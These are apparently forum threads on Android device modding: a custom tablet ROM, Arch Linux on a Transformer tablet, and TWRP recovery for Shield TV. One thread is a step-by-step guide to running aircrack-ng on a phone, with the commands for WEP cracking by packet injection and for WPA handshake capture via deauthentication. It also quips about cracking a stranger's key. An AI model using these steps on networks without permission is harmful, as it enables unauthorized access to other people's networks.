Develop Bugs

[24-feb-2012] ElocityPlusMod v1.00 (A7 PLUS ONLY)

!!This is ONLY for Elocity A7 PLUS! (model with 1024x600 resolution)
This Mod is based on Elocity Stock with additions from Nvidia SDK, to make a better functioning stock rom with google apps.
You can also follow updates on my homepage at Dexter's mods
Installation Instructions:
ALWAYS HAVE CHARGER CONNECTED WHEN UPDATING A FIRMWARE
You can download from here MD5SUM: 7d69789e85e946c7f456c8f8f455a352
It will require Wipe/factory reset as well. as reports on the update seems to report some problems if not, so its your ownproblem if it does FC alot, if you do not wipe
Install using recovery menu.
copy the file to the root of your sdcard and rename to Update.zip.
Enter "Recovery menu" by pressing power for 2seconds, release
then hold power button until "hold power 5sec...." appear and wait until it says booting recovery kernel..and release power button.
Press "HOME" button to see menu, use SEARCH/BACK button to navigate.
select "Wipe/factory reset" - press MENU key to activate
then select "apply sdcard:update.zip" - press MENU to activate
after the small install process - press "reboot" to finalize and wait for the upgrade to take place on second screen that appear.
ISSUES
- Screen brightness cannot change (Settings crash when selected)
- Volume in status bar not included (using old A7 mod here, ill figure a solution out, maybe app from Market?)
KERNEL USED IS STOCK ROM EDITION, SINCE SOURCE IS NOT RELEASED
CHANGELOG
v1.00
- Initial release
- includes a fixed RECOVERY , which allow you to do a proper WIPE (Factory reset)
- DSP audio manager
- rotation fix for some games
- all google apps functionality with calendar and email and sync
- flash player 10.3 included (full embedded media support) , if you want to upgrade, please uninstall the old one first.
- still no "move 2 sdcard" (needs different release 2.3.6 to support it and new kernel)
- no longer uses /storage as sdcard location.
/mnt/sdcard is now internal storage,
AND
/mnt/sdcard/sdcard-disk is external sdcard location.​- root enabled (Superuser is used here)
- wma/wmv media support​
THANKS to all who donated previously and up to now! its appreciated, and shows that people like the extras added...
WARNING: Use this image at your own risk and i take no responsibility if you brick your tablet..
PS: you can ALWAYS use the elocity Recovery from A7 install instructions here
If you like it press "THANKS"

reserved for future.

Bro plzz check ur pm box

Need ur help Dexter...

hey dexter need ur help...... ive tried porting sense 3.5 to defy......when i went in the port section in kitchen.........i setup the port and i got 2 folders MY KERNEL,MY DEVICE FOLDER....i am porting it on defy...i changed the folder MY DEVICE FOLDER to "WORKING_sense" and then set up a working folder and then built up the rom but it didnt work out...i got an error
E:error status 6...wat shud i do..plzz help

hey bud my usb does not work on this mod also is there a honeycomb for the plus version

gemini002 said:
hey bud my usb does not work on this mod also is there a honeycomb for the plus version
Click to expand...
Click to collapse
usb stick works fine here? and shows in "storage" when mounted.b

Dexter_nlb said:
usb stick works fine here? and shows in "storage" when mounted.b
Click to expand...
Click to collapse
weird soulution then?i tried to flash again but same thinh..maybe i will put orginal sofware then update again

gemini002 said:
weird soulution then?i tried to flash again but same thinh..maybe i will put orginal sofware then update again
Click to expand...
Click to collapse
did you note, mount location changed from original rom?`its no longer in /mnt/storage but /mnt/sdcard like other tablets.

when i plug it in its not detected does not light up..i flashed orginal software and port works
---------- Post added at 09:04 PM ---------- Previous post was at 08:45 PM ----------
when i install ur rom @ first boot i get boot loop so i have to turn off then it boots but no working usb port so frustrated
---------- Post added at 09:42 PM ---------- Previous post was at 09:04 PM ----------
Dexter_nlb said:
did you note, mount location changed from original rom?`its no longer in /mnt/storage but /mnt/sdcard like other tablets.
Click to expand...
Click to collapse
yes usb is not bein mounted at all

The latest fw was on my tablet also on orginal fw in recovery when I choose factory reset it just shuts of ..
Sent from my HTC EVO 3D X515m using XDA App

gemini002 said:
The latest fw was on my tablet also on orginal fw in recovery when I choose factory reset it just shuts of ..
Click to expand...
Click to collapse
you need to install my version, and then go back into recovery and you see recovery name is changed, and now factory reset would work fine.

yes works fine now ..sometimes sceen turns off and wont turn back on reboot needed also when will update to this come out wnt to move apps 2 sd

gemini002 said:
yes works fine now ..sometimes sceen turns off and wont turn back on reboot needed also when will update to this come out wnt to move apps 2 sd
Click to expand...
Click to collapse
the SOD issue was a well known problem of Tegra2 in its early days. problem with this tablet is that it needs a new kernel update and i do not see that one coming to solve SOD problems (from the past).
strangely the first A7 did not have it,while my Folio100 suffered badly from SOD with the early kernels.
so its known, but not being fixed i guess.
actually Nvidia wrote on their webpage that this hardware had the problem on some tablet could be awakened again by pushing out the sdcard? maybe an idea?

u have made this tablet a rel steal for me now only paid 120 cdn for it...now how can we get tablet to install to sd card?

gemini002 said:
u have made this tablet a rel steal for me now only paid 120 cdn for it...now how can we get tablet to install to sd card?
Click to expand...
Click to collapse
we need a kernel, the function required for installing to sdcard (loopback device) is not compiled into the kernel. so its not working for any rom.
i made CM7 + HC3.0(from A7Comb) working, but without the function from the kernel, those are not worth using. so im holding back those for a release until a solution is found.

Dexter_nlb said:
we need a kernel, the function required for installing to sdcard (loopback device) is not compiled into the kernel. so its not working for any rom.
i made CM7 + HC3.0(from A7Comb) working, but without the function from the kernel, those are not worth using. so im holding back those for a release until a solution is found.
Click to expand...
Click to collapse
Does it have more internal memory free??would love to try it ..also how dani increase my internal memory

gemini002 said:
Does it have more internal memory free??would love to try it ..also how dani increase my internal memory
Click to expand...
Click to collapse
you can find the CyanogenModPlus edition now using link in post to download.
its beta but until a kernel is ready, we have to live with minors. as its work quite well.
remember to have embedded video working, install the CF3D plugin from Market (ChainFire 3d) and reboot, and you can see embedded video quite fine on cyanogenmod too.

Hey Dexter_nlb,
This seems to be the best rom available for this tablet - its more stable then the stock roms and offers some improvements and speed overall making it the best so far.
I just have one problem with it that you might be able to help out with:
I have just noticed that your ROM is missing the ability to change the WIFI Sleep Policy. Its set for ON by default - but cannot be turned off. This is a big problem as WIFI disconnects every time the screen turns off. It then takes over 30sec to re-connect (depending on wifi network) and any programs open that require a connection stop responding or start to force close.
I use my Tablet as a controller for my home theater and because of this I cant use this great rom. I cant use the stock rom either as The stock rom does not work with my home theater apps.
I was wondering if you could fix this easily or could show me how - EG: Build.prop string??? or other mod? - port settings.apk or wifi related libs from std rom?
I just need the WIFI to stay on.
Thanks in advance.
JF

JF-GINO said:
This seems to be the best rom available for this tablet - its more stable then the stock roms and offers some improvements and speed overall making it the best so far.
Click to expand...
Click to collapse
i would dare say its the only one for A7+ now
activity has changed alot since all the new android tabs got out.
JF-GINO said:
I just have one problem with it that you might be able to help out with:
I have just noticed that your ROM is missing the ability to change the WIFI Sleep Policy. Its set for ON by default - but cannot be turned off. This is a big problem as WIFI disconnects every time the screen turns off. It then takes over 30sec to re-connect (depending on wifi network) and any programs open that require a connection stop responding or start to force close.
I use my Tablet as a controller for my home theater and because of this I cant use this great rom. I cant use the stock rom either as The stock rom does not work with my home theater apps.
I was wondering if you could fix this easily or could show me how - EG: Build.prop string??? or other mod? - port settings.apk or wifi related libs from std rom?
I just need the WIFI to stay on.
Click to expand...
Click to collapse
you might be able to download an app from Market that solves it?
Advanced WIFI LOCK (Free edition)
it might help.
otherwise only way around is going into Development settings, and chose "stay awake"?
anyways, the wifi issue is more common being a kernel issue, which in the early nvidia for these tablets had a deep sleep issue, which also killed wifi signal. its only solved by a full kernel upgrade to android 3.x (2.6.36.x or higher) which i have no good chance of doing completely.
to get better support, the CyanogenModPlus rom is getting better now, since kernel is changing with OC support and better market install support as well.
but thats probably the best this can offer for now.

[KERNEL] Aircrack-ng on Galaxy Nexus w/ AWUS036H usb wifi adapter (RTL8187 drivers)

For a while now I have been wanting to run aircrack on my galaxy nexus so as to have a mobile pentesting device.
So, I finally got it working and thought I would post how. This is not a task for the terminally challenged.
Install Backtrack 5 ARM. The latter is a linux environment designed for pentesting. On a mobile device the easiest way to install it is by chrooting to the mounted img, running on top of the mobile devices kernel.
Since most people seem to think aircrack is unusable on a mobile arm device, it is not included in the BackTrack 5 linux distro above, so you will need to download it manually once you have BackTrack up and running.
Here are the commands to do so:
#!/bin/bash
# Aircrack-ng installer for BackTrack 5 on Android
# By Justin Barrick aka th3p4tri0t
# install dependency for libssl-dev
apt-get install zlib1g-dev
# install libssl-dev
wget http://launchpadlibrarian.net/64412492/libssl-dev_0.9.8k-7ubuntu8.6_armel.deb
dpkg --install libssl-dev_0.9.8k-7ubuntu8.6_armel.deb
rm libssl-dev_0.9.8k-7ubuntu8.6_armel.deb
# get and install aircrack-ng
apt-get install source-aircrack-ng
cd /var/backtrack/sources/aircrack-ng/1.1/bt9/upstream-sources/
tar -xzf aircrack-ng.tar.gz
cd aircrack-ng/
make
make install
# set path variable
echo "export PATH=$PATH:/usr/local/sbin" >> ~/.bashrc
export PATH=$PATH:/usr/local/sbin
Now, the hard part. Or at least the part that took me forever to discover. You need the drivers for the AWUS036H to be insmod'ed into the kernel. You can accomplish this by obtaining your kernel source and the driver source, which is part of the compat-wireless package, more specifically the AWUS036H uses the rtl8187 chipset. Then, you cross compile those two sources to obtain rtl8187.ko, eeprom_93cx6.ko, and mac80211.ko. Then insmod those kernel modules into your kernel (insmod rtl8187.ko). The process is explained here. One can also recompile the enitre kernel, instead, and include the modules as built-in drivers. However, compiling kernel drivers can be difficult (toolchains, kernel source, etc), so luckily, I found a Galaxy Nexus kernel that already has the modules built-in, it is franco.Kernel R140 with modules added.
***Update:farcno.Kernel R200 with RTL8187 modules added, and R248 for JellyBean 4.1.1 with RTL8187 drivers
, so Aircrack-ng is now compatible with JellyBean! Also, R140 is no longer available but R200 is and has the modules needed
Beware, the kernel R200 needs ICS 4.0.4 installed to work properly, and R248 is built for JB 4.1.1.
***Update 04/11/2013:
I couldn't find any kernels with the RTL8187 drivers for JB 4.2.2, so, I built one my self. The kernel is a modified franco.Kernel R370. I didn't package it into a flashable zip, because I find it just as easy to hook my phone to my computer and use fastboot (fastboot flash boot bootJB422-RTL8187.img). The kernel image is attached below. I have been running it for about 4 days now without issue. I actually find it is the stablest version yet. I was able to play N64oid, while running airodump-ng and aireplay-ng. File attached below.
***Update 04/15/2013:
I looked into getting more of the aireplay-ng attacks to work proper with the RTL8187 drivers. There had been some complaints about fragementation attack not working and negative one always being returned as the channel for mon0. So, I found two patches for those issues on the aircrack-ng site and applied them to the franco.Kernl r370 with RTL8187 and recompiled. Now, we have fully functional aircrack-ng RTL8187 driver.
Once you flash the kernel, using the flashable zip and cwm or fastboot flash, then backtrack will be able to recognize the attached wifi adapter.... once you mount the usb bus in BackTrack. And, of course, this needs a OTG USB host cable.
The final step before learning how to use aircrack-ng is:
1. Open a terminal and load BT5, you can load the 'ui' and use an vnc to connect the the xserver desktop if you want. But, I have found it is easier to just use the chroot shell in the android terminal emulator.
2. open another android terminal window, and type:
su
mkdir -p /data/local/bt/dev/bus/usb
mount -o bind /dev/bus/usb /data/local/bt/dev/bus/usb
3. In the new android terminal window, start the BT5 shell (startbt), then type:
lsusb
You should see atleast one device, the usb root, and whatever device you have plugged in to the otg cable, if any.
A note to remember: I re-performed this guide after formatting my phone and got stuck here. lsusb didn't list anything. I rebooted my phone and tried to start BT5 and mount the usb again and it worked. I rebooted, started BT5, tried lsusb without binding usb and was blank as should be, bound usb back in another terminal window, returned to BT5, tried lsusb and root hub displayed.
Now, plug in the AWUS036H and type: airmon-ng
And you should see the device listed.
Read here for how to run aircrack, or view here.
Essentially the commands are:
lshw -disable dmi
(this should list the attached wifi card under NETWORK, my RTL8187 was wlan1)
ifconfig
(you should see wlan1 listed, if not the type "ifconfig wlan1 up" and retype "ifconfig")
airmon-ng start wlan1
airodump-ng mon0
copy BSSID and CHANNEL
New android terminal with BT5 shell (startbt): airodump-ng -w wep -c CHANNEL --bssid BSSID mon0
New android terminal with BT5 shell (startbt): aireplay-ng -1 0 -a BSSID mon0
New android terminal with BT5 shell (startbt): aireplay-ng -3 -b BSSID mon0
After ~50,000 packets collected:
New android terminal with BT5 shell (startbt): aircrack-ng wep-01.cap
To the purpose, with this, if your friend or mom or just some complete stranger forgets their wep key to their network, all they need to do is call you and you can just drive by, plug your wifi adapter into your phone, chroot to BT5 and aircrack their password for them, in a matter of 5 to 10 minutes.
WARNING!!!: In my intial aircrack run on my galaxy nexus, I cracked a wep key in about 5-10 minutes. I was happy, happy, happy. Then, a ruinous moment occurred. Almost the very second aircrack-ng finished cracking the key, my phone came up with a low battery warning, I was using a awus036h wifi adapter and it was draining my battery fast, I had about 50% to begin and had the 14% warning hit me about 10 minutes in, funny thing is the warning is usually 14%, but this time was 13%, go figure? Anyway seconds after the warning my phone just blanks, turns off. I plug it in and reboot and the battery is at 0% and stuck there, so a word of warning:
An external wifi adapter my require more usb host juice then the battery can safely supply. I have seen people using powered hubs to circumvent draining the phone battery, I would defintiely recommend the practice.
UPDATE: I plugged the phone into an AC charger and the battery finally charged (phew). For some reason, it wouldn't recharge on the USB cable after being so drained.

Is there a compatible wifi device that has the same chip set but with its own power supply (cord or battery)? If so that should help. I'm interested if someone can find one.
Sent from my Galaxy Nexus using xda premium

This is amazing work. I used to do some network pen testing as part of my old job and there's a lot of work that goes into making a mobile setup even with a laptop involved. The fact you got this all working coherently on a phone is mind blowing to me. Huge props.
I have no experience with this manufacturer or ebay seller but through some googling I did find this product:
http://www.ebay.com/itm/Solar-Power...970998?pt=PDA_Accessories&hash=item20b72a86b6
USB hubs in theory do not identify as normal USB devices and allow for pass through communication between connected devices. This one supplies external power as well. In other words, you may be able to connect both devices to this as it provides external power, and they can communicate without you having to rewrite any drivers.
However, be careful because some USB chipsets get confused if you try to use them as USB host but supply external power at the same time. So you may want to verify that is safe on the GNEX USB chipset.

Anyone willing to order that hub and test it?
Sent from my Galaxy Nexus using xda premium

Wow just found that and will be testing it at home tonight.
I flashed the V140 kernel via recovery and I can't locate rtl8187.ko anywhere to move it to /data/local/modules
Where is it located once the kernel flashed?
Thanks!

Once you install the R140 kernel mentioned, there is no need to insmod rtl8187.ko. The rtl8187 chipset support is compiled into the kernel boot.img.

I use this external battery pack, and I spliced a spare USB cord with the cord from my wifi adapter, so it only draws juice from the battery pack.
When you cut open a usb cord there are four wires: red, black, green, and white.
Green and white are data, connect them to the cord going to the galaxy nexus.
Red is +5V, connect it to the +5 V or red cord going to the battery pack.
Black is common, connect it to both usb cords.
So, on the cord going to the battery pack, green and white are loose, and on the cord going to the gnex, red is loose.
Or, you could use the solar powered hub mentioned above. You will still need the modified kernel, as the hub will show up as an attached device, but so will whatever is connected to it. You can't communicate with a device, without the appropriate drivers.

I did the bt5 development for the xoom. Reaver works too for h4xRing wps. I make a module pack with about 100 modules for xoom. If this is something the gnex community is interested in ill see what a can do.

bigrushdog, to be honest, during my trek to get this working, I nearly gave up and bought a XOOM, after seeing how well developed it was.

bigrushdog said:
I did the bt5 development for the xoom. Reaver works too for h4xRing wps. I make a module pack with about 100 modules for xoom. If this is something the gnex community is interested in ill see what a can do.
Click to expand...
Click to collapse
Of course I would be interested!!!

Aircrack is working now with my rtl8187!
Great job. However I noticed that this kernel is draining the battery much quicker than the latest Franciscofranco kernel in Android with a normal everyday usage.

You could download the franco.Kernel updater, it lets you set options in the franco.Kernel, like the "Generic Hotplug" option which saves battery by turning off one cpu core when the phone screen is off and allows you to set undervolt settings. It also has a Power Mode setting with Full Power, Balanced, and Power Save options. Full Power is default, which makes your phone faster, but at the expense of battery power.
Be sure not to upgrade the kernel to the current nightly though. The franco.Kernel I listed is specially modified, the rtl8187 drivers aren't normally found in the franco.Kernel.

bigrushdog said:
I did the bt5 development for the xoom. Reaver works too for h4xRing wps. I make a module pack with about 100 modules for xoom. If this is something the gnex community is interested in ill see what a can do.
Click to expand...
Click to collapse
Yes, please! I'd be interested.
Sent from my Galaxy Nexus using xda premium

michaelmotes said:
You could download the franco.Kernel updater, it lets you set options in the franco.Kernel, like the "Generic Hotplug" option which saves battery by turning off one cpu core when the phone screen is off and allows you to set undervolt settings. It also has a Power Mode setting with Full Power, Balanced, and Power Save options. Full Power is default, which makes your phone faster, but at the expense of battery power.
Be sure not to upgrade the kernel to the current nightly though. The franco.Kernel I listed is specially modified, the rtl8187 drivers aren't normally found in the franco.Kernel.
Click to expand...
Click to collapse
I will try the settings as I already have the app! Huge thanks!

Wow I tried to get rtl8187 working since 2 weeks, but never was able to crosscompile the kernel modules.. And you found a kernel, that has these modules already intergrated thank you very very much

It was brought to my attention that the patches for the compat wireless drivers from aircrack-ng haven't been applied to the driver in the kernel I provided. Nonetheless, aircrack-ng, aireplay-ng, airmon-ng, and airodump-ng still work. The only one that might give you a problem is aireplay-ng because it uses the patches to get the channel of the bssid from the driver, which without the patch just returns -1. I was able to get around it by using the command line option --ignore-negative-one when using aireplay and the ARP request replay attack (attack 3) and fake authentication (attack 1) still worked.
Also, a word to the wise, I overheated my cpu while running airodump, aireplay ARP request replay, and aircrack all at once and caused a kernel panic and emergency shutdown. So, I would advise only running airodump and aireplay, then waiting until you have lots of packets, stopping airepaly and airodump, and then running aircrack. Or, maybe even underclocking the cpu while running in backtrack.

michaelmotes said:
It was brought to my attention that the patches for the compat wireless drivers from aircrack-ng haven't been applied to the driver in the kernel I provided. Nonetheless, aircrack-ng, aireplay-ng, airmon-ng, and airodump-ng still work. The only one that might give you a problem is aireplay-ng because it uses the patches to get the channel of the bssid from the driver, which without the patch just returns -1. I was able to get around it by using the command line option --ignore-negative-one when using aireplay and the ARP request replay attack (attack 3) and fake authentication (attack 1) still worked.
Also, a word to the wise, I overheated my cpu while running airodump, aireplay ARP request replay, and aircrack all at once and caused a kernel panic and emergency shutdown. So, I would advise only running airodump and aireplay, then waiting until you have lots of packets, stopping airepaly and airodump, and then running aircrack. Or, maybe even underclocking the cpu while running in backtrack.
Click to expand...
Click to collapse
Could we patch it manually? We would need to download the kernel source somewhere in the chroot session and modify the makefile then?

You can patch it manually. But, like I said, I'm happy with it, I can crack wep keys and that is what I wanted to do, still as an academic exercise, or academic triathlon, you can patch it manually. To start, I would try getting the kernel source for the gnex, or maybe from Kernel-XP I linked. He might give it to you if you asked. Then, I would recompile the kernel with not changes.
The kernel must be recompiled using the arm gcc toolchain, you can get it like:
$ git clone https://android.googlesource.com/platform/prebuilt
$ export PATH=$(pwd)/prebuilt/linux-x86/toolchain/arm-eabi-4.4.3/bin:$PATH
I would install all the necessaries on a regular desktop and follow the instructions for building kernels here: http://source.android.com/source/building-kernels.html.
Once you get the kernel rebuilt and it works, look into patching the compat-wireless source here: http://www.aircrack-ng.org/doku.php?id=compat-wireless
And then take a look here: http://stackoverflow.com/questions/4849063/cross-compile-lkm-module-for-android-platform. It says how to setup a makefile in the driver source directory to make it cross-compile with the android kernel source.

Nice!
Cool and thanks for all the steps. Last link was the key I was missing for many weeks!
So right now WPA2 won't be working right?

What do you mean "WPA2 wont be working"?
I believe you can still caputre handshakes, and try to brute force the password. All you need is to run airodump to capture the handshake on the wpa router and run aireplay with attack 0 (deauthication) to cause a client to handshake.WPA cracking is slow though, and only possible if the router has password less then or equal to 7 characters, I think after that the odds of cracking it become worse then hitting the lottery after that. There is no way to recover a WPA key without guessing it.
Capturing the handshake just allows one to guess rapidly without the router knowing or being able to ban your mac for repeated auth attempts.

[DEV] ArchLinux on the TF300T(G)

I've always been more of an Arch than Ubuntu person (how do you know if someone uses ArchLinux? Don't worry, they'll tell you)
This requires you to be unlocked and on the JB bootloader. I disclaim all responsibility if it somehow turns your tablet into a pile of ashes...
What works:
Dual boot with Android.
Internal storage and MicroSD Card
X11, with compositing
Audio
Mouse and keyboard on the dock, as well as dock hotplugging.
Touchscreen
Playing videos (full 1080P works great.) using Xfce's media player
Sensors (Light, compass, accelerometer, gyro). These are all exposed under sysfs.
Charging / Dock charging. This appears to be managed by the kernel.
USB gadget (as a RNDIS device for network access via USB)
CPU frequency scaling / Tegra LP core. The LP core is automatically used you can see its status in /sys/kernel/cluster/active (when that file reads LP) and its use is simply what the current CPU1 use appears to be.
WiFi, with NetworkManager
3G, on the TF300TG model, with NetworkManager
Battery (and dock) status in Xfce
USB port on the dock
Some sensible key remapping (Back -> Escape, Search -> Alt, Home -> Super)
What doesn't work:
Bluetooth
Two finger scrolling with the mouse
Rebooting from Linux (have to do a sync then hard power off)
Basic framebuffer console - to get dual boot working I had to remove the FB console
Using "standard" xv (as in, mplayer -vo xv). Untested really, use gstreamer.
Cameras
Current priorities:
Get Bluetooth working
Get two finger scrolling working.
Get rebooting working
Anything else is untested. Currently, I'm using the TF300TG's kernel source at https://github.com/cb22/tf300tg_jb_kernel - which is just the standard source from ASUS with a patch or two.
Dual booting:
At the moment, my "hybrid" initramfs checks for a file ".boot_linux" on the internal SD card (/data/media/.boot_linux or /storage/sdcard0/.boot_linux - same thing). If it exists, it boots Linux, otherwise, Android starts up. It wouldn't be difficult at all to make a simple Android app with a "Reboot into Linux" button, and vice versa one for Linux with "Reboot into Android"
Important note:
Currently, the provided kernel / initramfs is built for the TF300TG. It does seem to work fine on the TF300T however.
Downloads:
Kernel + Initramfs blob: https://rapidshare.com/files/2827313479/hybridkernel.blob
RootFS with Xfce: https://rapidshare.com/files/201953815/linux.tar.gz
Installation:
Flash the blob to staging using fastboot.
Untar the rootfs to /data/linux/. The easiest way to do this is probably to copy it across to the Transformer via adb or MTP, then run
Code:
$ su
# mkdir /data/linux
# tar -xzvf /storage/sdcard0/linux.tar.gz -C /data/linux
Issues:
Apparently permissions aren't set properly when untar-ing. This can be "fixed" by a chmod 755, apparently. As soon as I can, I'll make a better way of installing this (update.zip style)
Credits:
This work is based off the Arch Linux ARM distribution

Sounds good, I think would be nice together with a dual boot kernel :good:

AWESOME! This is what I've been looking for. Thanks for kick starting this, I'm flashing the recovery right away. I suppose I'll start playing around with the .config and see where that takes me.
C'mon people! lets get this done so we can then try out dualboot options and bring some GNU/Linux flavor to the Transformer Pad.

Good work. Im waiting for a working Ubuntu so I can install Blackbuntu.
Shame Im on ICS bootloader as I would have tried it.
The Prime Ubuntu project aint had any updates recently sadly.

if you get this working, would you then maybe get the win8 tablet version also working? Loving linux, but Win8 on tablets even a bit better :good:

Valantur said:
AWESOME! This is what I've been looking for. Thanks for kick starting this, I'm flashing the recovery right away. I suppose I'll start playing around with the .config and see where that takes me.
C'mon people! lets get this done so we can then try out dualboot options and bring some GNU/Linux flavor to the Transformer Pad.
Click to expand...
Click to collapse
That's the aim! It would be really nice to have Android for tablet mode, and GNU/Linux for dock mode.
Nekromantik said:
Good work. Im waiting for a working Ubuntu so I can install Blackbuntu.
Shame Im on ICS bootloader as I would have tried it.
The Prime Ubuntu project aint had any updates recently sadly.
Click to expand...
Click to collapse
You can always use NVflash to backup your bootloader and such, then freely flash away. That's what I did (I'm on the TF300TG, and no one has uploaded their JB dlpkgfile *hint* *hint* and it's not available on ASUS's site yet) so I simply restored using NVflash to get my ICS with 3G back for when I'm not dev'ing.
Also - the ideas port over to any GNU/Linux system fairly easily once figured out - getting Ubuntu running wouldn't be much more effort. I'm using Arch to start since I understand it better (and prefer it)
-angel* said:
if you get this working, would you then maybe get the win8 tablet version also working? Loving linux, but Win8 on tablets even a bit better :good:
Click to expand...
Click to collapse
Highly unlikely, sorry, and definitely not my field of expertise!

yeah nP - was just a think if they would have similar kernels...
Video looks very good, but as you say in the first post, nothing for ppl who don't know how to flash it and as I need the tablet for school I'd need dual boot at all... :/
But get on your working, really nice, but unfortunately I don't know anything about developing such things, so I can't help you...

This is awesome i'm gonna have to read up on this to see how it works! great work! Always wanted something like this.

cb22 said:
You can always use NVflash to backup your bootloader and such, then freely flash away. That's what I did (I'm on the TF300TG, and no one has uploaded their JB dlpkgfile *hint* *hint* and it's not available on ASUS's site yet) so I simply restored using NVflash to get my ICS with 3G back for when I'm not dev'ing.
Also - the ideas port over to any GNU/Linux system fairly easily once figured out - getting Ubuntu running wouldn't be much more effort. I'm using Arch to start since I understand it better (and prefer it)
Click to expand...
Click to collapse
Yeah.
Might try when I get some spare time.

Great initiative! I'd personally prefer a native debian distro over Arch but I figure once you've laid the groundwork the road's paved for more distro's.

Finally, a real reason to unlock the tab. When this works and it's dual boot, I will be unlocking and installing this.

Amazing! I just hope that it will be possible to dualboot with normal android installed. If so, it would be absolutely perfect. Keep going, buddy!

Would it be possible to get it dualboot with an external HDD's? Because you can only get external SD's only up to 64gb (as I know and not all of them work) and external HDD's usually have a bit more storage

I've been playing around with this today, and I was wondering if you could upload a barebones arch system (without KDE) but with any other improvements you might have been working on.
Thanks

spenat said:
Amazing! I just hope that it will be possible to dualboot with normal android installed. If so, it would be absolutely perfect. Keep going, buddy!
Click to expand...
Click to collapse
That's what I've been working on! I have a kernel that supports full features of both Android and Arch (well sorta - no FB console, so no boot messages or such) and an initramfs that allows you to select (at the moment its hard coded, but I'll make a simple interface to select which one to boot, as well as things like telling Android to reboot into Linux, or vice versa). In terms of implementation, essentially it's just an initramfs chain loader.
Valantur said:
I've been playing around with this today, and I was wondering if you could upload a barebones arch system (without KDE) but with any other improvements you might have been working on.
Thanks
Click to expand...
Click to collapse
I shall - I've gotten WiFi working (works great with NetworkManager even) - I just have a very busy week with varsity work, I'll try and put the latest stuff online over the weekend.

Hello,
Can you use the package manager and install other DM the same way we would on a X86pc?

aachour said:
Hello,
Can you use the package manager and install other DM the same way we would on a X86pc?
Click to expand...
Click to collapse
I guess you could, once you get wifi working. We are waiting for cb22 to upload a new kernel+rootfs with a working wifi interface.

cb22 said:
That's what I've been working on! I have a kernel that supports full features of both Android and Arch (well sorta - no FB console, so no boot messages or such) and an initramfs that allows you to select (at the moment its hard coded, but I'll make a simple interface to select which one to boot, as well as things like telling Android to reboot into Linux, or vice versa). In terms of implementation, essentially it's just an initramfs chain loader.
I shall - I've gotten WiFi working (works great with NetworkManager even) - I just have a very busy week with varsity work, I'll try and put the latest stuff online over the weekend.
Click to expand...
Click to collapse
This project looks awesome. i have a tf300t and intermediate arch linux experience( have made multiple working setups, compiled drivers etc, and would love to do anything i can to help this project, let me know if there is anything i can do

yeah! always looked for linux on this tablet! keep up the development guys

Valantur said:
I guess you could, once you get wifi working. We are waiting for cb22 to upload a new kernel+rootfs with a working wifi interface.
Click to expand...
Click to collapse
Unfortunately I didn't have time over the weekend to get things tidied up and uploaded - I start writing exams soon so things are a bit hectic on my side (coupled with the fact that I actually use my TF for varsity). I'll try to sort things out as soon as I can

[RECOVERY] TWRP 2.8.6.0 for Shield TV (all variants)

I was going to wait for this device to be added to devdb to make a release thread, but that's being delayed, if it'll ever happen. So, I'm making this thread as a placeholder. No big fancy text, just a known problem list and the release. If you're looking for this, you probably know what to do with it. Everything should work from flashing to backup and restore from all external media. If it doesn't, please report it.
KNOWN PROBLEMS:
1. This is a multirom edition of twrp, but there's no multirom support yet.
2. My wireless keyboard / mouse combo (an old Logitech MX something or another) fails to initialize the mouse on boot. I have to unplug and replug the USB receiver for the mouse to work. My wired mouse doesn't do this. I'm curious if anyone else sees a similar problem or if there's something weird with my hardware.
SOURCE:
device (branch cm-12.1-mrom)
kernel
vendor
CURRENT RELEASE:
For Android M:
twrp-20160222-UNOFFICIAL-foster.img
Known Issue: This release does not work on 4K displays. It boots to a black screen. Please use a 1080p display for TWRP until this is fixed.
For Android L:
twrp-multirom-20151112-UNOFFICIAL-foster.img
OLD RELEASES:
twrp-multirom-20150630-UNOFFICIAL-foster.img
twrp-multirom-20150624-UNOFFICIAL-foster.img
twrp-multirom-20150613-UNOFFICIAL-foster.img

MultiRom will be a must have on this device.
I really appreciate your work, and reading the various thread on xda I found out that you're one of the best developers for Nvidia Shield devices.
Without people like you we would all be locked in a large digital cage.
Compliments

Thanks Steel01!

I'm starting to slowly look at what I can disable in the kernel to shrink it down enough to fit in the recovery partition. Unfortunately, my first two ideas, network and sound, can't be unilaterally removed due to the android USB gadget (used for adb) depending on them. I've got it down to 26 MB, but iI dont know if it still boots. I'll try a few more things and hopefully have something working in the next couple days. I'm also hoping Tasssadar merges the 2.8.7.0 changes soon, the resize functionality will be useful (in testing I somehow shrunk my user data partition to 11 GB and had to reformat it get the full 4?? GB back).

Or it could be quicker than I thought. Todays test was successful. It's small enough to barely fit in the partition and appears to work correct. The link is in the OP. The next update to the multirom TWRP will probably make it too big again and I'll have to rip some more stuff out...

I want to install twrp recovery on my 16gb Shield, but i have no need for multirom. Is there an option to bypass the boot option or should I wait for a standard TWRP?
You didn't take much of a break before going back at it again. Thanks for your dedication!

Well, I'm not going back at it fully yet. Next week and a half will likely be pretty busy. I'm just doing a piece here and there.
This TWRP has multirom support, but does not require it or even set it up by default. In fact, to enable multirom, you have to install a separate zip (which I haven't released because it doesn't work). So no, you won't see any extra boot screens with this.
A standard TWRP build should be simple to make with the sources I've linked in the OP. I haven't released one here (or on any device I support) because I don't want to support it directly (basically, I'm supporting what I use myself). If no one else makes one, I might make a one time build for those that want it.

Hi Steel01, thanks for your efforts. I am a rookie at best at this, however, I managed to get this installed to my 16 gb shield tv, all appears to work fine, except I am unable to pair the shield remote, the shield game controller paired fine, but not the remote, just curious is this is expected, or maybe something wrong on my end. Also, If I wanted to load another rom at some point, is it as simple as booting to the twrp screen and selecting install? Hope that doesn't sound like a dumb question, I'm just a little unsure of that exact process. thanks

Remote controller fix
cdsn99 said:
Hi Steel01, thanks for your efforts. I am a rookie at best at this, however, I managed to get this installed to my 16 gb shield tv, all appears to work fine, except I am unable to pair the shield remote, the shield game controller paired fine, but not the remote, just curious is this is expected, or maybe something wrong on my end. Also, If I wanted to load another rom at some point, is it as simple as booting to the twrp screen and selecting install? Hope that doesn't sound like a dumb question, I'm just a little unsure of that exact process. thanks
Click to expand...
Click to collapse
Do not worry and follow these simple steps to fix your remote controller problem:
This is quite normal after a system reset or wipe.
If the remote did not connect:
If the microphone symbol is not flashing, hold down the back and home buttons at the same time until it flashes (3 seconds).
If the microphone symbol does not flash after holding for 3 seconds, charge the remote and try again.
To charge the remote, connect it to one of the USB ports on the back of your SHIELD with the included USB cable or connect it to another USB power source.
---------- Post added at 06:08 AM ---------- Previous post was at 06:01 AM ----------
cdsn99 said:
